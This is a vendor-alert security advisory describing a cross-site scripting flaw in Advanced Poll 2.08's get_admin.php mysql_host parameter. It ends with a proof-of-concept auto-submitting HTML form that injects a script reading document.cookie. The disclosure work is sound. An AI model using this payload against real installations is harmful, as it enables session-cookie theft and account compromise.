Vulnerability ID: HTB22358 Reference: http://www.htbridge.ch/advisory/xss_vulnerability_in_advanced_poll.html Product: Advanced Poll Vendor: Chi Kien Uong Vulnerable Version: 2.08 and Probably Prior Versions Vendor Notification: 23 April 2010 Vulnerability Type: XSS (Cross Site Scripting) Status: Not Fixed, Vendor Alerted, Awaiting Vendor Response Risk level: Low Credit: High-Tech Bridge SA (http://www.htbridge.ch/) Vulnerability Details: User can execute arbitrary JavaScript code within the vulnerable application. The vulnerability exists due to failure in the "/misc/get_admin.php" script to properly sanitize user-supplied input in "mysql_host" variable. Successful exploitation of this vulnerability could result in a compromise of the application, theft of cookie-based authentication credentials, disclosure or modification of sensitive data. An attacker can use browser to exploit this vulnerability. The following PoC is available: <form method="POST" action="http://host/misc/get_admin.php" name="main"> <input type="hidden" name="mysql_host" value="<script>alert(document.cookie);</script>"> <input type="hidden" name="db_name" value="X"> <input type="hidden" name="mysql_user" value="X"> <input type="hidden" name="mysql_pass" value="X"> <input type="hidden" name="action" value="connect"> </form> <script> document.main.submit(); </script>